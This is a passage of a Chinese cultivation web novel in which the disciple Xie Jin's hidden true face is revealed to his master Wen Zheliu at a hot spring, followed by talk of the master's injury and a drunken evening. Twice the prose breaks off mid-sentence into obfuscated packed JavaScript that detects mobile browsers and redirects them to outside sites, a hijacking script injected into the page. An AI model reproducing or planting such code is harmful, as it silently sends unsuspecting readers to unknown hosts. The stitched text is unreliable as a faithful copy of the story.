谢槿收起玉笔,摸摸它的小脑袋,温声笑道:“以我目前的修为只能做到这个地步,等修为提升,我再给你做一个更好看、更轻便的新身体,答谢你救我一命的恩情。” 小树灵嘤嘤应声,也不知道听懂了没有,反正自打来到赤月峰,它就没有不高兴的时候。 不过这玉笔好归好,能让笔下成符品相提升,却也太耗灵力。谢槿拍拍小树灵脑门,正要打坐调息,一团嫩黄便飞入灵田中来。 看到小黄鸟,谢槿就红了脸。 那天晚上后,他藏在房中躲了三日,今日才出门,还没想好要怎么跟师父见面。好在小黄鸟是自己来的,栅栏外没别人,谢槿松了口气,抬手让小黄鸟落到自己手背上。 “你又是来偷寒露草的?” 这一茬的寒露草还没长成,但灵气已经很充足了,有过前车之鉴,谢槿很难信任小黄鸟。 小黄鸟啾了一声,用力蹭蹭他指腹,听去似乎不大高兴,谢槿便改口,“不是?那我错怪你了,这一茬寒露草长成后全都留给你。” 听他这么说,小黄鸟叫声变得雀跃,扑腾翅膀蹲到小树灵脑门上,翘起爪子亮出储物环。 谢槿意会,“好,都收进去。” 小黄鸟被哄好了,往他怀里扑。 谢槿趁机揉揉小黄鸟又暖又软和的小脑袋,犹豫了下,小声地问:“你怎么来了,师父呢?” 小黄鸟叽叽叫了几声,凶了吧唧的,谢槿完全听不懂,只能听出它应该是对师父很不满。 “师父惹你生气了?” “啾!” 看来猜中了。 谢槿想了想,颇有同感地哄道:“师父就是这样的,你不高兴了就来找我吧,我跟师父不一样,不会欺负你,还会给你找吃的。” 虽然有点茶…… 上山那么久,谢槿当然清楚闻折柳很强,可是觊觎师父的灵宠之心,他是至今也未改! 说曹操曹操就到,谢槿话音刚落,灵田篱笆外就响起闻折柳懒散的语调,“在说我坏话?” 谢槿和小黄鸟齐齐僵住,小黄鸟迅速跳到他肩上躲起来,谢槿可没处躲。多日前被闻折柳触碰过的手背仿佛还隐隐有余温残留,热得他脸颊耳根全都红透,满眼无措。 师父怎么总在不该来的时候来! 此刻,闻折柳就站在篱笆外,目光幽幽看着一人一鸟,“方才不是在说我吗?不吭声了?” 前几日的黑历史实在太难忘,可人都来了,谢槿心下呜咽一声,只好硬着头皮站起来,假装若无其事低头拱手,“徒儿不敢了。” “闭关三日,身体如何了?”闻折柳看他一直低着头,拧起眉头改了口,“算了,过来。” 所谓闭关,不过是谢槿想躲他的借口,听闻折柳说起,谢槿满脸羞窘,慢吞吞地挪过去。 此时此刻,他心里正有两个小人在吵架,一个说师父也不是故意的,原谅师父吧?另一个小人则是捂脸尖叫,可真的很尴尬啊! 闻折柳似乎没耐心等他,索性自己大步走近,一把抓起谢槿右手。谢槿一惊,脸更红了。 干嘛突然动手动脚!就算是师父也不可以这样! 他又是震惊又是羞赧的眼神叫闻折柳奇怪地多看了他一眼,一丝灵力探入谢槿经脉,须臾后才松开来,“看来余毒当真除尽了。” 原来只是检查身体…… 谢槿暗松口气,“多谢师父,但徒儿今日还有两块灵田还没有打理,徒儿便先告退了。” 他说着便拱手行礼,闻折柳面露不满,但思索了下,又舒展开眉头,若有所思地看着他。 “生气了?” 谢槿跟被踩到尾巴似的,连忙摆手,“没有的事!” 他怎么可能因为那种尴尬的事情迁怒师父啊!可谢槿说完这话就心虚地避开闻折柳注视。 闻折柳都看见了,“还说没……” “你们都在这呢!” 玄意的笑声冷不丁插进来,谢槿眼前一亮,循声看去,玄意果然正踩着灵剑飞入林中。 他头一回感觉玄意师叔如此亲切,立马迎上去。 “师叔来了!” 这副殷勤作态,别说闻折柳疑惑挑眉,玄意也受宠若惊,“啊……我来了,你们想干嘛?” 虽然不知道玄意师叔又来干什么,可此刻谢槿正需要他。谢槿热情地抓住玄意手臂,“师叔来得正好!我这次出门历练修为小有提升,正想寻师叔切磋,求师叔指点!” 玄意这下真慌了,“你怎么知道我是来骗功法的!” 谢槿:“……” 他真不知道。 闻折柳看着二人,冷笑道:“他该是明白过来,你可以偷师,他也可以借给你陪练偷师。” 意识到自己说漏嘴,玄意忙捂住嘴,警觉地看着这对师徒,“你们师徒合起伙来诈我!” 没有的事! 谢槿心道我跟师父没那么熟! 他还不知该如何面对师父,玄意来得太好,太妙了! 谢槿用力抱住玄意胳膊,“师叔,我要与你切磋!” 玄意被他吓怕了,“你不是我的小槿!你不是跟你师父合起伙来骗我功法,就是被夺舍了!” 谢槿抽抽嘴角,无语地松开他,“那算了,我找剑傀陪练也是一样的,师叔慢走不送。” 他这般无情冷漠,玄意反倒松了口气,嘿嘿笑着拉住他,“没有就好,我愿意,我愿意的!” 闻折柳就在旁边冷眼看着他们,也不出声。玄意可不怕他,拉着谢槿就往林子外宽阔的平地跑,“这可是你家小槿自己答应我的!闻折柳,我们忙去了,你自己玩去吧!” 谢槿猝不及防被拽走,也算是计划得逞,一边松了口气,一边没忍住回头看。闻折柳没跟上来,那双琉璃目正冷幽幽看着他们。 那眼神怪不高兴的…… 谢槿心下一顿,眼神闪躲开,别开跟着玄意离开。 到了前殿宽敞的平地,玄意摩拳擦掌催他出手,谢槿心不在焉地跟他打了一套。期间只有小树灵跟过来,闻折柳一直没出现,也没见到小黄鸟影子,估计是被师父带走了。 谢槿一个走神,手臂就被玄意反剪身后,惨败。 玄意知道他弱,没使什么劲,很快扶着他起来,纳闷道:“虽然你修为是提升了,可打起来还不如之前了,你是不是伤还没好?” 谢槿回过神,想着灵力的确还没恢复,干脆点头。 “是有点精神不济。” 玄意一脸失望,“那算了,你今日回去养伤吧,我改日再来。我玄意从来不会趁人之危!” 想不到师叔人这么不正经,居然也挺有原则的。 谢槿揉了揉手腕,“多谢师叔。” 玄意摆摆手就想走,可见他没精打采的,又退了回来,担忧道:“你是不是不高兴啊?” 没想到师叔人还挺敏感。谢槿摇头,转念一想,没忍住说:“我看师父好像不太高兴。” 想来师叔比他认识师父更久,谢槿打算取取经。 说起闻折柳,玄意怨念可深了,“他不高兴就不高兴呗,我进揽月宗这么多年也没见他高兴过几回,他就那样,你别放在心上。” 谢槿想说师父不是那样的,但话到嘴边,又不知道该怎么解释,更不想将之前的尴尬事说出去,随口应了几句,就送走了玄意。 切磋是假,躲闻折柳才是真。 谢槿心里有鬼,带着小树灵偷偷摸摸回了撷芳院就不打算出门了,他才解毒,还能躲几天。 然而还没等他多躲几天,入夜时,小黄鸟就敲响了他的窗户。谢槿打开窗户一看,小黄鸟嘴里正叼着一根用蓝绳缀着的小铁球。 是之前那个剑傀! 谢槿一脸惊喜地接过铁球,“你从哪儿弄来的?” 小黄鸟蹲在窗台上啾啾叫了几声,就叼住谢槿衣袖往外扯去,谢槿愣了下,“叫我出去?” “啾!” 谢槿有些犹豫,按住小黄鸟。 “是不是师父让你来的?” 小黄鸟又不能说人话,只冲他啾啾叫,扑腾翅膀往外飞。看它这么着急,谢槿想起之前自己跟玄意师叔走时师父看他们的眼神,心底越发不安,“不会是师父出事了吧?” 小黄鸟松开他,清澈明亮的黑豆豆眼满是无辜。 “叽叽!” 谢槿:…… 还是听不懂。 他看着手里的铁球,感觉似乎与从前没什么变化,不知道修好了没有,他也不着急放出剑傀,只在想师父的伤。他根本不知道师父有什么伤,可很多人都跟他说过此事。 师父连那么强的欲魔都杀得,身上究竟会有什么伤? 小黄鸟这么急,不会真的……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105417|163850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>谢槿不敢往下想了,攥紧手中铁球,再看窗前的小黄鸟,小黄鸟冲他叽叽叫着往外歪头。 谢槿无奈,“好吧,我走门。” 有门不走跳窗?他又不傻。 小黄鸟便不扯他了,飞到他肩上蹲好。谢槿回头拍拍小树灵脑门让它看院子,才出了门。 到了炎阳殿,小黄鸟飞在前面带路,谢槿提着灯笼跟在后面,腰间一红一蓝两个小铁球随他走动轻轻碰撞,叮当声响很是清脆。 这路越走越熟,正是谢槿第一次上山时走的那条路,绕过炎阳殿后院,就到了温泉门前。 小黄鸟啄了啄半开的房门,回头冲谢槿叽叽叫。 这熟悉的桥段…… 谢槿狐疑,“师父在里面?” 小黄鸟摇头。 谢槿大惊,“原来你会摇头!” 小黄鸟木了木,一头钻进了门缝里,跟逃跑似的。 谢槿一头雾水,不知道该不该信这只小骗子。可眼下回想起来,最近几天他对师父好像是有些大逆不道了,先是挂上牌子闭门不见,见了师父还想逃。分明师父那天夜里也不是有意的,而且师父见了他第一件事还是检查余毒有没有清除干净…… 今日他跟玄意师叔走,师父也没有过来,怕是真的生气了。再回头一想,玄意师叔说师父脾气不好时他想反驳,是因为他知道师父看着好像什么也不在意,但师父对他也是真的好,他其实不应该躲师父的。 谢槿越想越自责,赶紧打住复盘,轻吐出一口气,放下灯笼推门进去,不意外地被热雾扑了一脸。他并不是头一回进来,却是头一回毫无顾忌地打量着这处后殿内部。 这处温泉也比他想的要大,里面没有什么摆件,只有满池的温热雾气,透着浓郁的灵气。 一眼看去,的确没人。 小黄鸟蹲在唯一一张小桌子上,回头冲他啾啾叫。 谢槿放松下来,快步走近,“这里没人啊,师……” 小黄鸟扑腾翅膀落到他肩上,打断了谢槿的话。谢槿无奈摇头,抬头往上看去,一眼就愣住了。横梁之下悬着一座法阵,能看到比炎阳殿外更漂亮的夜晚天幕,银月辉映,错落有致的绚烂星河仿佛举手可触。 但细看,那再美的月夜也只是法阵之中的背景,法阵中应当是山脉大陆的缩影,大的有九块,旁边有些细碎的光点,漂浮虚空。 五块相对集中的碎片之中,东侧碎片中一处山脉中闪烁着一点微弱的光芒,像一轮皎月。 谢槿偏头看向肩上的小黄鸟,“那是揽月宗吗?” 小黄鸟还没应声,他身后就先响起闻折柳的声音,“这有什么好看的,不是说想来泡澡……” 那声音特别近,仿佛就贴着耳后,温泉的热气恍然间似与闻折柳身上的温度重叠。谢槿心下大惊,还没听他说完下意识退开半步,却忘了自己本就站在温泉边缘,脚下猛地踩空,扑通一声,竟栽进了温泉! 肩上小黄鸟也差点跟着他摔下水,惊叫一声,靠近水雾时赶紧扑腾翅膀飞起来,回头直扑闻折柳那张明俊逼人的脸,凶巴巴的。 闻折柳顿了下,抓下小黄鸟,低头看向温泉中。 “着什么急,这池子不深,你又不是没进去过。” 话虽如此,他却是拧起剑眉盯着冒着泡泡的水面。 正如他所言,方才跌下池子的谢槿周身被温热的泉水包裹不过片刻,就触及了池子底部。 他是能长时间潜水闭气,可这次突然摔下来不小心呛了一口热水,谢槿难受得很,赶紧游出水面来,一边狼狈咳嗽,一边大口喘气。好不容易喘匀了气,谢槿用力抹了把脸,恼怒地瞪向害他落水的闻折柳。 “师父,不是说你不在吗!” 他话中火气不小,闻折柳却只是静静看着他,任手里的小黄鸟逃出去,双眸似有些失神。 池中红衣少年衣衫尽湿,发带不知掉到哪儿去了,湿漉漉的长发披散下来也挡不住一张玉白漂亮的脸,只是那双眼尾泛红的桃花眼,就绝不是往日一句清秀说得清的。 那分明是一张极致惊艳的芙蓉面,冰肌玉骨,眉眼间透出几分苍白羸弱,可谓是我见犹怜。 不说闻折柳,想飞向谢槿的小黄鸟嘴里也发出了几声急促的叫声,半空折返回来飞扑到闻折柳手中,从里面探出头来往池中看。 惊得好像它看到的不是人。 池中的秀美少年看岸上的闻折柳和小黄鸟反应显然不对,桃花眸顿了顿,玉白指尖擦过下巴,指腹上并非干净的泉水,而是被泉水溶解的一抹黄色粉浆。他再抬头看向闻折柳,一反方才极生动明艳的怒容,抿了抿湿红唇瓣,扯出一个虚弱笑容。 “那个……如果我说,我可能消化完七叶圣昙和解毒清神丹后,突然变好看了,师父信吗?” 39. 第三十九章 闻折柳看着池中少年,语气幽幽,“你看我傻吗?” 这话谢槿可不敢应,既然藏不住了,他搓了搓指腹洗干净手中粉末,坦白说:“不错,徒儿之前是吃过饰颜丹,但随着修为提升,丹药效果好像在减弱,这几天先后服下七叶圣昙和解毒清神丹后,好像连带之前的药力也被排出体内了,所以就……” 池中红衣少年一双桃花眸偷偷看向闻折柳,颇有几分心虚,“我不太习惯,所以擦了点粉。” 闻折柳微眯起眼,“看来我的直觉没有错,从你第一天上赤月峰开始,你就有事瞒着我。” 谢槿对了对手指,眨巴一双桃花眼试图让闻折柳看到自己的真诚,“除了这个没别的了!” 闻折柳并非恼怒,反倒是轻松许多,哼笑一声,“我上次无意冒犯,你也骗了我一回,那就扯平了,今日之后,你不许再躲我。” 谢槿一愣,“扯平?” 闻折柳垂眸看来,眼含威胁。 “平不了?” “您说能扯平……就扯平吧。”谢槿抽抽嘴角,他只是没想到,师父居然半点也不生气…… 但提到上次无意冒犯的事,谢槿还是有些难为情,耳尖被温泉热雾熏得通红,叫他不自然地别开眼,看向湿哒哒地黏在身上的衣衫,实在是难受,便又抬眼小心翼翼地问闻折柳:“那师父,我能不能先上岸?” 闻折柳如今放下心头大事,惬意地取出了自己往日总不愿离身的冰心玉壶,闻言朝他看来,神色有些奇怪,“你不是一直想来这处灵泉泡澡吗?我原本还想给你赔礼,才让这笨鸟带你过来,现在又不想了?” “师父怎么知……” 谢槿心下一惊,目光略过闻折柳手里的小黄鸟时顿了顿,哪里还不明白是这只通人性的小黄鸟报的信?他不由想起自己往日撺掇小黄鸟的那些话,师父会不会也知道? 小黄鸟被他看得一激灵回神,缩回闻折柳掌中,很快又探出头来,小模样颇有些机警。 闻折柳按住它脑袋,道:“别看了,是同一个人。” 小黄鸟叽了一声,回头啄他。 看到闻折柳还有心情拿小黄鸟逗趣,应该没有生气,谢槿暗松口气,眼里添上几分笑意。 片刻后,谢槿披着白底红纹的外袍,与闻折柳隔着一张放着冰心玉壶的矮几坐在池子边。 衣衫已经用灵力烘干,但找不到发带,长发也只能披散下来,少年人拘谨地盘腿坐在那里,桃花眸时而不自在地看向师父,离开灵泉水后稍显苍白的脸色,让他看去犹如一支在霜雨之下羸弱打颤的白芙蓉。 “师父……” 闻折柳将小黄鸟放到矮几上,任其蹲在玉瓶后偷偷打量谢槿,因方才饮过冰心玉壶,即使是在温泉的热雾笼罩下,他身上多了几分清冷气息,琉璃目也添上几分疏冷。 “如何,要老实交待了?” 谢槿话才开了头就被他猜中心事,索性一鼓作气解释道:“徒儿不是有意隐瞒师父的,但徒儿遮掩容颜已有数年,一日不藏都有些不习惯了,奉剑师伯也让徒儿小心些……” 闻折柳挑眉,“看来饰颜丹果然是奉剑师兄给你的?” 谢槿连忙点头,“徒儿在人间时只学过一些易容手段,在修真界是不入流的,所以在来揽月宗之前,奉剑师伯就见过徒儿的真容,还特意让徒儿服下饰颜丹,交待徒儿若是师父不问,便无需多说什么。” 闻折柳神色古怪,“你见到奉剑师兄时他是什么模样?” 谢槿如实道:“仙风道骨老爷爷。” 闻折柳啧了一声,低骂道:“改天再打狗东西一顿。” 谢槿迷茫得很,好奇师父在说谁,又不敢多问,接着说:“奉剑师伯还说,徒儿是什么美人骨……若要修炼,最好藏起真容。徒儿也不知什么美人骨,只知道奉剑师伯是徒儿修炼的引路人,徒儿听他的话就是。” 他说出来美人骨三字时没忍住老脸一红,其实他两辈子都长得差不多,这一世却莫名有些过分出众。他只能说自己不丑,却也没好意思当着别人的面自夸什么美人骨。 “美人骨?” 闻折柳重新打量起谢槿,朝他伸手,“手给我。” 虽有些尴尬,但为了解开心中谜团,谢槿还是乖乖从外袍下伸出手。饰颜丹药效消失后,本就细长漂亮的手肤色更为莹润玉白,颇为惹眼。闻折柳见之眸光也是一顿,很快敛起那一抹异色,扣住他的手腕。 独属于师父温热的灵力探入体内,让谢槿有些不适,却强忍着打开身体由那灵力查探。 须臾后,闻折柳松开手,便对上谢槿明亮的双眸。 闻折柳别开脸拿起玉瓶饮了一口,才说道:“根骨没什么问题,跟之前差不多,不过奉剑师兄说的也没错,饰颜丹药效消失后,的确是有几分不同。这所谓美人骨,本是炉鼎体质的一种,有些修士行双修之道,便会特意去寻找身负美人骨之人。” 谢槿只关心一件事,“那这体质能助我修炼吗?” 看他如此期待,闻折柳反倒有些迟疑,“像这种体质,多半是天生丽质,根骨有好有坏,但都说是炉鼎体质,只能助人修炼。对于那些需要炉鼎体质的人来说,美人骨不过是他们提升修为的一种工具,所以奉剑师兄让你藏也不是没道理,若是藏不住,兴许哪日会招来你意想不到的人。” 那招来的肯定不是正经人…… 谢槿小脸通黄,感情他这天生美人骨只能成为别人的工具,他又不免失望,耷拉下头。 “对我没用啊。” 闻折柳没在这个话题上多聊,指尖点了点玉瓶,望向他问:“你在人间时就隐藏了真容?” 谢槿面露苦笑,“这个……前几年我离家求学,在学院中被一位同窗死缠烂打,后来发现他有龙阳之好。那同窗家中长辈是高官,我们得罪不起,父亲让我称病将我送回老家,我就在老家跟人学了一手易容术,避免出去读书时再发生这种事。” 实际上,十三岁那年盯上谢槿的那个同窗,比谢槿大了两岁,谢槿刚入学时他就盯上了谢槿,起初还算温和体面,后来却给谢槿下药,想将他囚禁起来,收他做娈宠。 还好谢槿人缘好,其他同窗帮他揭穿了这些算计,但也吓得他差点病发,这事闹到父亲那里,他就顺从父亲安排乖乖回老家了。 如今谢槿提及这些旧事,只觉得心里有些尴尬。 闻折柳神色不虞,“外人冒犯你,反倒要你忍让?” 谢槿道:“人间的人情世故就是这样的,父亲只是小官,胳膊拧不过大腿,对方没有仗着权势抓我回去已经算我运气不错了。如今想来,这应该是那美人骨惹的祸吧?” 闻折柳嗤了一声,“人间……” 谢槿直觉认为他这话似乎隐隐有几分杀气,正迷茫间,小黄鸟总算缓过劲来,扑腾着翅膀飞到他面前来,谢槿忙伸出手捧住它。 “你又认得我了?” 小黄鸟歪头蹭他指腹,啾啾叫起来,模样比往日都要乖巧许多,看来也是一只看脸的鸟。 闻折柳见状才嘲笑一声,拎起玉瓶仰头灌了口酒。 小黄鸟蹲在谢槿掌中蹭了一阵,豆豆眼发现谢槿胸前缀着个玉坠,便扑腾过去叼起来。 玉坠红绳还挂在谢槿脖子上,他忙按住小黄鸟,摘下这个翡翠挂坠放在掌心上,“这个是祖父亲手雕刻的平安牌,我不能给你。” 这平安牌往日藏在谢槿衣衫下,闻折柳也是第一次见到,抬眼瞥去,这块平安牌上一面刻着青竹纹,一面刻着两个字,“玉声?” 小黄鸟没再碰翡翠玉坠,只是蹲在他手腕上看,谢槿笑叹道:“是祖父给我起的字。” 他说完忽然想起什么,急忙跟闻折柳解释起来,“小时候母亲随父亲离家赶考,顺道求医,我就是祖父祖母带大的,如今祖父祖母已经相继过世五年了。师父,我只是想留个念想,并不是还留恋人间红尘!” 他从人间来,除了身上的衣衫和忘记吃掉的几块糕点,就只有这个戴了五六年的玉牌。 谢槿也是想给自己过去十六年的人生留个念想。 闻折柳倒没有指责他,只低喃一声,“玉声?倒是挺好听的。继续用也无妨,等你结丹收徒后,赤月峰也就多一位玉声真人了。” 谢槿攥紧还以为要丢弃的玉牌,脸上满是感激。 师父真好! 闻折柳低咳一声,“你要是有什么话想问我的,直接问就是,礼尚往来,我也是懂的。” 见他这么好说话,谢槿还真有事想问,将玉牌戴回脖子上捧着小黄鸟问:“那师父的伤是怎么回事?奉剑师伯说过,带我来揽月宗的万长老也说过,都说师父伤得重!” 闻折柳撇嘴一笑,“不算有多严重,不过是强行突破合体期不成,境界跌落,根基受损。” “这还不严重?” 谢槿紧张道:“那师父怎么办?” 他胎穿十几年,上辈子看过的书早就记不清了,这几个月来只想起来他自己的炮灰身份还有大师兄的主角身份,加上一些零零碎碎的东西,关于师父的,也有一些。 他记得,师父在原文里会一直护着他,但师父似乎没什么出场机会,好像一直都在养伤。 闻折柳似乎没料到他会这么激动,挑了挑眉,“该怎么办就怎么办,这不过是证明了揽月宗的三阳剑法不是我该走的道,这些年来,我也渐渐琢磨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15105418|163850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出自己的道。我这人向来不喜拘束,我要走的道不能被剑所束缚,我要走的,是逍遥自在的大道!” 他说出这话时,眉眼间的懒散随意霎时褪去,眸光笃定锋锐,犹如一柄锋芒毕露的长剑。 谢槿心下有些震撼,“根基受损,还能转修弥补?” “别人不行,但我可以。” 闻折柳傲然一笑,回眸望向他,“你别乱学,你这一身根骨脆的很,老老实实修炼就是。先前跟你提过道心,如今可有方向了?” 师父是很厉害…… 谢槿不放心地看着他,揉着小黄鸟脑袋摇了头。 闻折柳忽然问他:“那日在玉陌城,你为何会回来?只因为以为那是我给你安排的历练?” 从玉陌城回来这些天,谢槿的心慢慢平静下来,也回想过当时的惊险处境,如今闻折柳问起来,他便有了不一样的回答,“以为是历练,只是让我下定决心回去的最后一个理由。我当时不想走,是因为师父,因为叶惟,也因为受困城中那些人。” 闻折柳放下玉瓶,看向他的眼神颇有些认真。 谢槿没有留意到,自顾自斟酌着言语说:“我想,如果我是叶惟,我可能做不到在那种险境中毫不犹豫留下保护那些与自己无关的人,但倘若我是那些被困之人,那么当我性命垂危时,我会期盼有一个叶惟站出来,告诉我,人命贵重,绝非草芥。” “我还想让叶惟知道,他要走的路不会孤单。”谢槿不是喜欢说大话的人,说来也有些羞涩,“那个时候我也害怕过,但只要想到我从前小心翼翼活了那么久,所愿不只是平平安安,还想要自由自在、随心所欲,那我只要对得起自己的良心,我回去就值得,我也相信师父会回来救我的。” 他看向闻折柳,小声抱怨道:“柳仙儿还说我这么做没意义,但有没有意义我说了算!而事实上,我这个炼气期的确做到了让柳仙儿不可思议的事,让她吃了大亏!” 他话中其实是有些自豪的,闻折柳也没有给他泼冷水,只是若有所思,“你虽然只有炼气期,却也的确拖住了化神期的蛇女,这就是你的本事,你都不怕,我也不会怕。” 谢槿不明所以,“什么?” 闻折柳缓缓摇头,冷不丁笑起来,手掌用力揉乱他的头发,“你是有些急智,可化神期不全是蛇女那样好糊弄的,日后放机灵点,不要指望我每次都能及时现身救下你。” 谢槿闷闷躲开他的手,“我知道,师父又不是神仙,哪里能次次都现身救我?我也就冲动这一回了,下次当然是要先保命要紧!” 闻折柳轻声笑起来,“还记得你刚上山时一板一眼的,看着挺守规矩,可实在叫人烦躁,恨不得扒下你的面具看看你究竟是个什么性子。如今看来,你骨子也是个狂傲不羁的,不错,我喜欢!奉剑师兄是真懂我,给我挑的弟子也是合我心意的!” 谢槿心说我没有!我哪里狂傲了?还什么喜欢…… 他红了脸,将小黄鸟放在矮几上,理顺乱糟糟的头发,幽怨地瞪了闻折柳一眼。闻折柳说得兴起仰头灌了口酒水,温泉中的热雾将那一缕清冷酒香带过来,沁人心脾。 谢槿眼里又是向往又是纳闷,“师父不是根基受损了吗?怎么还整日喝这么多灵酒?” 闻折柳抹去唇角酒液,“这可不只是灵酒,十六年前,我偶有感悟,开始破道重修,但之前的火阳剑气反噬叫我每回运功都会深受火阳剑气灼身之苦。冰心玉壶中寒气颇重,正好压制火阳剑气,可依旧无法抵消,寒气积累太重对我也有损伤。” 谢槿不生气了,拢紧肩上的外袍担忧地看着他。 “那怎么办?” 闻折柳抬起下巴指向眼前的温泉,“能解决,这处温泉下有我从大荒寻来的天火石为阵基,可助我消解多余的寒气。就是这一冷一热的烦得很,我得多睡觉才能恢复。” 谢槿顿时有些羞愧,他之前吐槽过师父老人作息…… “那,我以后自己好好修炼,不吵师父睡觉了?” 闻折盯着他道:“这要是之前我肯定答应,但出去这一趟,你这个炼气期也给我上了一课。我开始相信奉剑师兄让我收徒一定有道理,而你,就是我将要琢磨的道理,接下来,我会由外到内将你琢磨透。” 谢槿挠了挠发烫的脸颊,桃花眸轻颤避开他的注视。 “师父也太看得起我了……” 其实他也不知道奉剑真人为什么会看中他,奉剑真人自己也没说过,只是说他合眼缘。 见谢槿似乎又在看那一瓶冰心玉壶,闻折柳自问不是小气之人,将手中玉瓶递了过去。 “看半天了,想尝吗?” 谢槿:“……” 40. 第四十章 冰心玉壶的酒香很独特,仿佛霜雪的气味,谢槿的确有些好奇,却是不敢轻易乱动的。 “师父不是说寒气重吗?” “尝一口无所谓,一会儿进池子里泡一泡就好了。” 听闻折柳这么说,谢槿才放心接过玉瓶,这瓶灵酒刚启封不久,重得很,他要双手抱着才拿得稳,嗅着霜冷气息小小抿了一口。 这灵酒其实算不上烈,但冰霜一般的气息的确醉人,入口时,谢槿感觉仿佛喝了一口冰似的,整个人都被冻得颤了颤,而后才品尝到一缕回甘,反应过来还挺好喝的。 谢槿眼睛亮了起来,感觉没品出味来还想再尝一口,玉瓶就让闻折柳拿走了,“你才只是炼气期,小心醉上十天半个月醒不来。” 谢槿觉得自己精神得很,“这灵酒一点也不烈啊。” 若说方才他是一朵蔫吧的白芙蓉,这一口冰心玉壶入喉,白皙脸颊绯红,一张脸愈发艳丽,就如诗中露染燕脂色未浓的玉芙蓉。 “一会儿你就知道了。”闻折柳就着谢槿刚碰过的瓶口饮了一口酒,也不知道是不是错觉,这一口灵酒似乎多了几分花香,他眸光一顿,含着一口酒转头望向温泉上空。 “方才你在看什么?” 大抵是冰心玉壶这种极品灵酒灵气太浓,谢槿感觉自己现在精神饱满无处消解,他跟着看向温泉上空的法阵,眸中倒映着灵光,指向之前跟小黄鸟说过的那处明月标记。 “这应该就是九域的缩影吧?那里是我们宗门?” 连他自己都没察觉到,他说话是尾音已经有些飘了,少年温润的嗓音也添上些许沙哑。 闻折柳应道:“是。” 谢槿睁着潋滟的桃花眸仰头,披在肩上的外袍渐渐滑下臂弯,露出里面贴身的雪色中衣。 “池子里的天火石出自大荒,小黄鸟也是大荒的神鸟……师父去过大荒吗?大荒在哪儿?” 闻折柳瞥向上空,“中五域之外最大的那块大陆就是大荒,我是去过,但你要是想去的话至少要等到元婴期再说。据说万年前有大能在大荒斗法,将大荒空间撕裂,如今那里几乎全是雷暴和空间裂缝,除了荒兽,根本没有人能在那里生存下去。” “哦……” 谢槿重重点头,往后倒去。 闻折柳不紧不慢伸出手扶住他后腰把人接好,不意外看到谢槿迷蒙湿润的桃花眸。方才还说这灵酒不烈,不过片刻就露出了醉态。 小黄鸟正要凑过去看,闻折柳放下玉瓶,顺手将它按下去,就抓住谢槿胳膊将人拎起来。 那身白底红花的外袍被遗落在矮几旁,闻折柳扶着人走向温泉边,“醉了就下去泡着吧。” 他一松手,谢槿就开始左右摇摆,温泉池边水雾太重,地面滑溜溜的,让赤着双足的谢槿险些往下倒,还好他及时扑向闻折柳,一脸埋在他怀里,笑眯眯环紧他后腰。 “师父,扶我一下……” 刹那间,似有花香入怀。 闻折柳眉头猛地一跳,抬手按住谢槿后颈,想将他人提溜起来,谢槿的手就顺着他精瘦的后腰往上触碰到蝴蝶骨,闻折柳身体忽然一僵,矮几上的小黄鸟也惊叫了一声。 “叽!” 闻折柳很快回神,扣住他过分纤细的手臂,“谢槿……” 谢槿晕得厉害,只能任他施为,但靠着温热的胸膛,他下意识用脸颊蹭了蹭,嘿嘿傻乐。 “师父……果然好硬。” 闻折柳:“……” 这一夜,谢槿也不知道自己是怎么过去的,当他醒来时,窗外的日头已经挂在天穹正中。 日光照在床尾,谢槿本能地抱着怀中松软的被褥将脸藏起来,直到清脆稚嫩的鸟鸣从耳边响起,他才打着哈欠睁开双眼,这一看,人就愣住了,这里不是他的房间! 身下宽敞的大床也不是他的床,谢槿一骨碌从被窝里爬起来,一脸迷茫地看着殿中布置。 难不成他又穿越了? 不过很快,他就回了神。 殿中布置虽然陌生,小黄鸟还在,就蹲在床头上,一双豆豆眼盯着他,仿佛他干了坏事。 谢槿按了按还有些昏沉的额角,脑子里浮现出一些奇奇怪怪的片段。昨天夜里他真的喝醉了,被师父扔进了池子里泡着,但他泡着泡着就往下沉,于是师父只能一直盯着他,然后,他好像以为自己要被淹死了,所以一直死命的抓住师父不放…… 他好像还追着师父背书,读过论语读庄子,读完心经读天问,然后是诗经,乱七八糟的…… 谢槿嘶了一声,尴尬地看向小黄鸟,“这里……是师父的寝殿?我睡的,是师父的床?!” 小黄鸟叽了一声,看模样仿佛是在反问他,不然呢? 谢槿更尴尬了,怎么喝醉之后还爬到师父床上来了? 还好师父现在不在! 他在床边找到了自己的衣服鞋子,赶紧爬下床穿戴好,小黄鸟静静看着,直到他往外走时,才扑腾翅膀引着他看向窗下的茶几。 茶几上有一张纸,上面还压着一串缀着玉珠的红绳、一块白玉雕刻的玉简和一个储物戒。 谢槿抽出那张纸,这是闻折柳留下的,他轻轻念出声,“自玉陌城后略有感悟,闭关一段时间,若有要事,用传音玉简通报。储物戒中有筑基前丹药材料,可随意取用,另有玉珠一枚,可遮掩真实容貌。” 谢槿面露惊喜,小心拿起那串红绳,在手腕上比了比,“师父真是,男子怎么好戴红绳?” 话虽如此,他还是笑着将红绳套在手腕上,红绳自行缩小到不会脱出也不会妨碍他动作的大小,玉珠灵光一闪,原本犹如玉芙蓉一般漂亮秀气的少年便只剩七分清秀。 小黄鸟豆豆眼转了转,顶着那张信纸又啾了一声。 